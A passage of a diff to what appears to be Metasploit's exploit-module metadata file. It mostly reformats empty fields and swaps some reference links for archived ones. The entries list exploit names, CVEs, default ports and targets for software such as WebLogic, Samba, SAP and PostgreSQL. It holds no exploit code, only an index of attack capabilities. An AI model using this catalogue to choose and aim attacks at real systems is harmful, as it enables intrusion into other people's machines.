], + "aliases": [], "rank": 600, "disclosure_date": "2018-04-11", "type": "exploit", @@ -121788,18 +108564,12 @@ "Robin Stenvi " ], "description": "Metasploit's msfd-service makes it possible to get a msfconsole-like\n interface over a TCP socket. If this socket is accessible on a remote\n interface, an attacker can execute commands on the victim's machine.\n\n If msfd is running with higher privileges than the current local user,\n this module can also be used for privilege escalation. In that case,\n port forwarding on the compromised host can be used.\n\n Code execution is achieved with the msfconsole command: irb -e 'CODE'.", - "references": [ - - ], + "references": [], "platform": "Ruby", "arch": "ruby", "rport": 55554, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -121810,17 +108580,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/nodejs_v8_debugger": { "name": "NodeJS Debugger Command Injection", "fullname": "exploit/multi/misc/nodejs_v8_debugger", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-08-15", "type": "exploit", @@ -121835,12 +108602,8 @@ "platform": "", "arch": "", "rport": 5858, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "NodeJS" ], @@ -121851,17 +108614,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/nomad_exec": { "name": "HashiCorp Nomad Remote Command Execution", "fullname": "exploit/multi/misc/nomad_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-05-17", "type": "exploit", @@ -121919,9 +108679,7 @@ "exploit_multi/misc/openoffice_document_macro": { "name": "Apache OpenOffice Text Document Malicious Macro Execution", "fullname": "exploit/multi/misc/openoffice_document_macro", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-02-08", "type": "exploit", @@ -121935,12 +108693,8 @@ "platform": "", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Apache OpenOffice on Windows (PSH)", "Apache OpenOffice on Linux/OSX (Python)" @@ -121952,17 +108706,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/openview_omniback_exec": { "name": "HP OpenView OmniBack II Command Execution", "fullname": "exploit/multi/misc/openview_omniback_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2001-02-28", "type": "exploit", @@ -121980,12 +108731,8 @@ "platform": "Unix", "arch": "cmd", "rport": 5555, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix", "Windows" @@ -121997,17 +108744,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/osgi_console_exec": { "name": "Eclipse Equinox OSGi Console Command Execution", "fullname": "exploit/multi/misc/osgi_console_exec", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2018-02-13", "type": "exploit", @@ -122021,12 +108765,8 @@ "platform": "Linux,Windows", "arch": "armle, aarch64, x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux (Bash Payload)", "Windows (Powershell Payload)" @@ -122038,17 +108778,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/pbot_exec": { "name": "PHP IRC Bot pbot eval() Remote Code Execution", "fullname": "exploit/multi/misc/pbot_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-11-02", "type": "exploit", @@ -122067,12 +108804,8 @@ "platform": "Unix,Windows", "arch": "cmd", "rport": 6667, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "pbot" ], @@ -122083,17 +108816,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/persistent_hpca_radexec_exec": { "name": "HP Client Automation Command Injection", "fullname": "exploit/multi/misc/persistent_hpca_radexec_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2014-01-02", "type": "exploit", @@ -122110,12 +108840,8 @@ "platform": "Unix,Windows", "arch": "", "rport": 3465, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "HP Client Automation 9.0.0 / Linux", "HP Client Automation 9.0.0 / Windows" @@ -122127,17 +108853,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/qemu_monitor_hmp_migrate_cmd_exec": { "name": "QEMU Monitor HMP 'migrate' Command Execution", "fullname": "exploit/multi/misc/qemu_monitor_hmp_migrate_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-12-02", "type": "exploit", @@ -122154,12 +108877,8 @@ "platform": "Linux,Unix", "arch": "cmd, aarch64, armle, x86, x64", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Unix (Command)", @@ -122190,9 +108909,7 @@ "exploit_multi/misc/ra1nx_pubcall_exec": { "name": "Ra1NX PHP Bot PubCall Authentication Bypass Remote Code Execution", "fullname": "exploit/multi/misc/ra1nx_pubcall_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-03-24", "type": "exploit", @@ -122209,12 +108926,8 @@ "platform": "Unix,Windows", "arch": "cmd", "rport": 6667, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Ra1NX / Unix", "Ra1NX / Windows" @@ -122226,17 +108939,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/teamcity_agent_xmlrpc_exec": { "name": "TeamCity Agent XML-RPC Command Execution", "fullname": "exploit/multi/misc/teamcity_agent_xmlrpc_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-04-14", "type": "exploit", @@ -122276,17 +108986,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/veritas_netbackup_cmdexec": { "name": "VERITAS NetBackup Remote Command Execution", "fullname": "exploit/multi/misc/veritas_netbackup_cmdexec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2004-10-21", "type": "exploit", @@ -122302,12 +109009,8 @@ "platform": "Linux,Unix,Windows", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], @@ -122318,17 +109021,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/vscode_ipynb_remote_dev_exec": { "name": "VSCode ipynb Remote Development RCE", "fullname": "exploit/multi/misc/vscode_ipynb_remote_dev_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-11-22", "type": "exploit", @@ -122345,12 +109045,8 @@ "platform": "", "arch": "cmd", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Linux File-Dropper" @@ -122380,9 +109076,7 @@ "exploit_multi/misc/w3tw0rk_exec": { "name": "w3tw0rk / Pitbul IRC Bot Remote Code Execution", "fullname": "exploit/multi/misc/w3tw0rk_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-06-04", "type": "exploit", @@ -122397,12 +109091,8 @@ "platform": "Unix,Windows", "arch": "cmd", "rport": 6667, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "w3tw0rk" ], @@ -122413,17 +109103,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/weblogic_deserialize": { "name": "Oracle Weblogic Server Deserialization RCE", "fullname": "exploit/multi/misc/weblogic_deserialize", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-04-17", "type": "exploit", @@ -122439,12 +109126,8 @@ "platform": "", "arch": "", "rport": 7001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix", "Windows" @@ -122456,17 +109139,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/weblogic_deserialize_asyncresponseservice": { "name": "Oracle Weblogic Server Deserialization RCE - AsyncResponseService ", "fullname": "exploit/multi/misc/weblogic_deserialize_asyncresponseservice", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-04-23", "type": "exploit", @@ -122476,7 +109156,7 @@ "description": "An unauthenticated attacker with network access to the Oracle Weblogic Server T3\n interface can send a malicious SOAP request to the interface WLS AsyncResponseService\n to execute code on the vulnerable host.", "references": [ "CVE-2019-2725", - "URL-http://www.cnvd.org.cn/webinfo/show/4999", + "URL-http://web.archive.org/web/20190508024326/http://www.cnvd.org.cn/webinfo/show/4999", "URL-https://www.oracle.com/technetwork/security-advisory/alert-cve-2019-2725-5466295.html", "URL-https://twitter.com/F5Labs/status/1120822404568244224" ], @@ -122503,7 +109183,7 @@ "Windows", "Solaris" ], - "mod_time": "2023-03-22 12:52:15 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/misc/weblogic_deserialize_asyncresponseservice.rb", "is_install_path": true, "ref_name": "multi/misc/weblogic_deserialize_asyncresponseservice", @@ -122527,9 +109207,7 @@ "exploit_multi/misc/weblogic_deserialize_badattr_extcomp": { "name": "WebLogic Server Deserialization RCE BadAttributeValueExpException ExtComp", "fullname": "exploit/multi/misc/weblogic_deserialize_badattr_extcomp", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-04-30", "type": "exploit", @@ -122547,12 +109225,8 @@ "platform": "Linux,Unix,Windows", "arch": "x86, x64", "rport": 7001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Unix" @@ -122581,9 +109255,7 @@ "exploit_multi/misc/weblogic_deserialize_badattrval": { "name": "WebLogic Server Deserialization RCE - BadAttributeValueExpException", "fullname": "exploit/multi/misc/weblogic_deserialize_badattrval", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-01-15", "type": "exploit", @@ -122602,12 +109274,8 @@ "platform": "Linux,Unix,Windows", "arch": "x86, x64", "rport": 7001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Unix" @@ -122636,9 +109304,7 @@ "exploit_multi/misc/weblogic_deserialize_marshalledobject": { "name": "Oracle Weblogic Server Deserialization RCE - MarshalledObject", "fullname": "exploit/multi/misc/weblogic_deserialize_marshalledobject", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2016-07-19", "type": "exploit", @@ -122655,12 +109321,8 @@ "platform": "Solaris,Unix,Windows", "arch": "", "rport": 7001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix", "Windows", @@ -122690,9 +109352,7 @@ "exploit_multi/misc/weblogic_deserialize_rawobject": { "name": "Oracle Weblogic Server Deserialization RCE - Raw Object", "fullname": "exploit/multi/misc/weblogic_deserialize_rawobject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-01-28", "type": "exploit", @@ -122709,12 +109369,8 @@ "platform": "Solaris,Unix,Windows", "arch": "", "rport": 7001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix", "Windows", @@ -122744,9 +109400,7 @@ "exploit_multi/misc/weblogic_deserialize_unicastref": { "name": "Oracle Weblogic Server Deserialization RCE - RMI UnicastRef", "fullname": "exploit/multi/misc/weblogic_deserialize_unicastref", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-01-25", "type": "exploit", @@ -122762,12 +109416,8 @@ "platform": "Solaris,Unix,Windows", "arch": "", "rport": 7001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Unix", "Windows", @@ -122780,17 +109430,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/wireshark_lwres_getaddrbyname": { "name": "Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow", "fullname": "exploit/multi/misc/wireshark_lwres_getaddrbyname", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-01-27", "type": "exploit", @@ -122810,12 +109457,8 @@ "platform": "Linux,OSX,Windows", "arch": "", "rport": 921, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)", @@ -122831,17 +109474,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/wireshark_lwres_getaddrbyname_loop": { "name": "Wireshark LWRES Dissector getaddrsbyname_request Buffer Overflow (loop)", "fullname": "exploit/multi/misc/wireshark_lwres_getaddrbyname_loop", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-01-27", "type": "exploit", @@ -122861,12 +109501,8 @@ "platform": "Linux,OSX,Windows", "arch": "", "rport": 921, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "tshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)", "wireshark 1.0.2-3+lenny7 on Debian 5.0.3 (x86)", @@ -122881,17 +109517,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/xdh_x_exec": { "name": "Xdh / LinuxNet Perlbot / fBot IRC Bot Remote Code Execution", "fullname": "exploit/multi/misc/xdh_x_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-12-04", "type": "exploit", @@ -122909,12 +109542,8 @@ "platform": "Unix,Windows", "arch": "cmd", "rport": 6667, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "xdh Botnet / LinuxNet perlbot" ], @@ -122925,17 +109554,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/misc/zend_java_bridge": { "name": "Zend Server Java Bridge Arbitrary Java Code Execution", "fullname": "exploit/multi/misc/zend_java_bridge", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-03-28", "type": "exploit", @@ -122951,12 +109577,8 @@ "platform": "Java", "arch": "java", "rport": 10001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux", "Windows" @@ -122968,17 +109590,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/mysql/mysql_udf_payload": { "name": "Oracle MySQL UDF Payload Execution", "fullname": "exploit/multi/mysql/mysql_udf_payload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-01-16", "type": "exploit", @@ -122994,12 +109613,8 @@ "platform": "Linux,Windows", "arch": "", "rport": 3306, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Linux" @@ -123011,22 +109626,17 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "mysql" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_multi/ntp/ntp_overflow": { "name": "NTP Daemon readvar Buffer Overflow", "fullname": "exploit/multi/ntp/ntp_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2001-04-04", "type": "exploit", @@ -123043,12 +109653,8 @@ "platform": "Linux", "arch": "x86", "rport": 123, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "RedHat Linux 7.0 ntpd 4.0.99j", "RedHat Linux 7.0 ntpd 4.0.99j w/debug", @@ -123062,17 +109668,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/php/ignition_laravel_debug_rce": { "name": "Unauthenticated remote code execution in Ignition", "fullname": "exploit/multi/php/ignition_laravel_debug_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-01-13", "type": "exploit", @@ -123131,9 +109734,7 @@ "exploit_multi/php/jorani_path_trav": { "name": "Jorani unauthenticated Remote Code Execution", "fullname": "exploit/multi/php/jorani_path_trav", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2023-01-06", "type": "exploit", @@ -123191,9 +109792,7 @@ "exploit_multi/php/php_unserialize_zval_cookie": { "name": "PHP 4 unserialize() ZVAL Reference Counter Overflow (Cookie)", "fullname": "exploit/multi/php/php_unserialize_zval_cookie", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2007-03-04", "type": "exploit", @@ -123206,7 +109805,7 @@ "references": [ "CVE-2007-1286", "OSVDB-32771", - "URL-http://www.php-security.org/MOPB/MOPB-04-2007.html" + "URL-http://web.archive.org/web/20240619200429/http://php-security.org/MOPB/MOPB-04-2007.html" ], "platform": "Linux", "arch": "", @@ -123238,24 +109837,21 @@ "Linux x86 ProMA", "Linux x86 eGroupware" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/php/php_unserialize_zval_cookie.rb", "is_install_path": true, "ref_name": "multi/php/php_unserialize_zval_cookie", "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/php/wp_duplicator_code_inject": { "name": "Snap Creek Duplicator WordPress plugin code injection", "fullname": "exploit/multi/php/wp_duplicator_code_inject", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2018-08-29", "type": "exploit", @@ -123297,17 +109893,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/postgres/postgres_copy_from_program_cmd_exec": { "name": "PostgreSQL COPY FROM PROGRAM Command Execution", "fullname": "exploit/multi/postgres/postgres_copy_from_program_cmd_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-03-20", "type": "exploit", @@ -123342,22 +109935,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "postgresql" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_multi/postgres/postgres_createlang": { "name": "PostgreSQL CREATE LANGUAGE Execution", "fullname": "exploit/multi/postgres/postgres_createlang", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2016-01-01", "type": "exploit", @@ -123391,22 +109979,17 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": [ "postgresql" ], "needs_cleanup": null, - "actions": [ - - ] + "actions": [] }, "exploit_multi/realserver/describe": { "name": "RealServer Describe Buffer Overflow", "fullname": "exploit/multi/realserver/describe", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2002-12-20", "type": "exploit", @@ -123446,17 +110029,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/samba/nttrans": { "name": "Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow", "fullname": "exploit/multi/samba/nttrans", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2003-04-07", "type": "exploit", @@ -123491,17 +110071,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/samba/usermap_script": { "name": "Samba \"username map script\" Command Execution", "fullname": "exploit/multi/samba/usermap_script", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2007-05-14", "type": "exploit", @@ -123537,17 +110114,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/sap/cve_2020_6207_solman_rs": { "name": "SAP Solution Manager remote unauthorized OS commands execution", "fullname": "exploit/multi/sap/cve_2020_6207_solman_rs", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2020-10-03", "type": "exploit", @@ -123610,9 +110184,7 @@ "exploit_multi/sap/sap_mgmt_con_osexec_payload": { "name": "SAP Management Console OSExecute Payload Execution", "fullname": "exploit/multi/sap/sap_mgmt_con_osexec_payload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-03-08", "type": "exploit", @@ -123654,17 +110226,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_multi/sap/sap_soap_rfc_sxpg_call_system_exec": { "name": "SAP SOAP RFC SXPG_CALL_SYSTEM Remote Command Execution", "fullname": "exploit/multi/sap/sap_soap_rfc_sxpg_call_system_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2013-03-26", "type": "exploit", @@ -123705,17 +110274,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/sap/sap_soap_rfc_sxpg_command_exec": { "name": "SAP SOAP RFC SXPG_COMMAND_EXECUTE Remote Command Execution", "fullname": "exploit/multi/sap/sap_soap_rfc_sxpg_command_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2012-05-08", "type": "exploit", @@ -123757,17 +110323,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/scada/inductive_ignition_rce": { "name": "Inductive Automation Ignition Remote Code Execution", "fullname": "exploit/multi/scada/inductive_ignition_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-06-11", "type": "exploit", @@ -123832,9 +110395,7 @@ "exploit_multi/script/web_delivery": { "name": "Script Web Delivery", "fullname": "exploit/multi/script/web_delivery", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2013-07-19", "type": "exploit", @@ -123856,7 +110417,7 @@ "URL-https://www.pentestgeek.com/2013/07/19/invoke-shellcode/", "URL-http://www.powershellmagazine.com/2013/04/19/pstip-powershell-command-line-switches-shortcuts/", "URL-https://www.darkoperator.com/blog/2013/3/21/powershell-basics-execution-policy-and-code-signing-part-2.html", - "URL-https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html", + "URL-http://web.archive.org/web/20171026182440/http://subt0x10.blogspot.com:80/2017/04/bypass-application-whitelisting-script.html", "URL-https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/", "URL-https://iwantmore.pizza/posts/amsi.html", "URL-https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/", @@ -123866,12 +110427,8 @@ "platform": "Linux,OSX,PHP,Python,Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Python", "PHP", @@ -123883,24 +110440,21 @@ "Linux", "Mac OS X" ], - "mod_time": "2023-06-21 16:35:41 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/script/web_delivery.rb", "is_install_path": true, "ref_name": "multi/script/web_delivery", "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/ssh/sshexec": { "name": "SSH User Code Execution", "fullname": "exploit/multi/ssh/sshexec", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "1999-01-01", "type": "exploit", @@ -123915,12 +110469,8 @@ "platform": "BSD,Linux,OSX,Python,Unix", "arch": "", "rport": 22, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Linux Command", "Linux x86", @@ -123962,9 +110512,7 @@ "exploit_multi/svn/svnserve_date": { "name": "Subversion Date Svnserve", "fullname": "exploit/multi/svn/svnserve_date", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2004-05-19", "type": "exploit", @@ -123981,12 +110529,8 @@ "platform": "BSD,Linux", "arch": "x86", "rport": 3690, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Linux Bruteforce", @@ -123999,17 +110543,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/upnp/libupnp_ssdp_overflow": { "name": "Portable UPnP SDK unique_service_name() Remote Code Execution", "fullname": "exploit/multi/upnp/libupnp_ssdp_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-01-29", "type": "exploit", @@ -124029,12 +110570,8 @@ "platform": "Unix", "arch": "cmd", "rport": 1900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", @@ -124048,17 +110585,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/veritas/beagent_sha_auth_rce": { "name": "Veritas Backup Exec Agent Remote Code Execution", "fullname": "exploit/multi/veritas/beagent_sha_auth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-03-01", "type": "exploit", @@ -124070,22 +110604,18 @@ "CVE-2021-27876", "CVE-2021-27877", "CVE-2021-27878", - "URL-https://www.veritas.com/content/support/en_US/security/VTS21-001" + "URL-http://web.archive.org/web/20250222002651/https://www.veritas.com/content/support/en_US/security/VTS21-001" ], "platform": "Linux,Windows", "arch": "", "rport": 10000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows", "Linux" ], - "mod_time": "2022-09-27 16:23:05 +0000", + "mod_time": "2025-02-28 09:35:28 +0000", "path": "/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb", "is_install_path": true, "ref_name": "multi/veritas/beagent_sha_auth_rce", @@ -124110,9 +110640,7 @@ "exploit_multi/vnc/vnc_keyboard_exec": { "name": "VNC Keyboard Remote Code Execution", "fullname": "exploit/multi/vnc/vnc_keyboard_exec", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2015-07-10", "type": "exploit", @@ -124126,12 +110654,8 @@ "platform": "Unix,Windows", "arch": "", "rport": 5900, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VNC Windows / Powershell", "VNC Windows / VBScript CMDStager", @@ -124144,17 +110668,14 @@ "check": false, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/vpn/tincd_bof": { "name": "Tincd Post-Authentication Remote TCP Stack Buffer Overflow", "fullname": "exploit/multi/vpn/tincd_bof", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2013-04-22", "type": "exploit", @@ -124173,12 +110694,8 @@ "platform": "", "arch": "", "rport": 655, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP x86, tinc 1.1.pre6 (exe installer)", "Windows 7 x86, tinc 1.1.pre6 (exe installer)", @@ -124201,17 +110718,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_multi/wyse/hagent_untrusted_hsdata": { "name": "Wyse Rapport Hagent Fake Hserver Command Execution", "fullname": "exploit/multi/wyse/hagent_untrusted_hsdata", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-07-10", "type": "exploit", @@ -124229,12 +110743,8 @@ "platform": "Linux,Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XPe x86", "Wyse Linux x86" @@ -124246,17 +110756,14 @@ "check": false, "post_auth": false, "default_credential": false, - 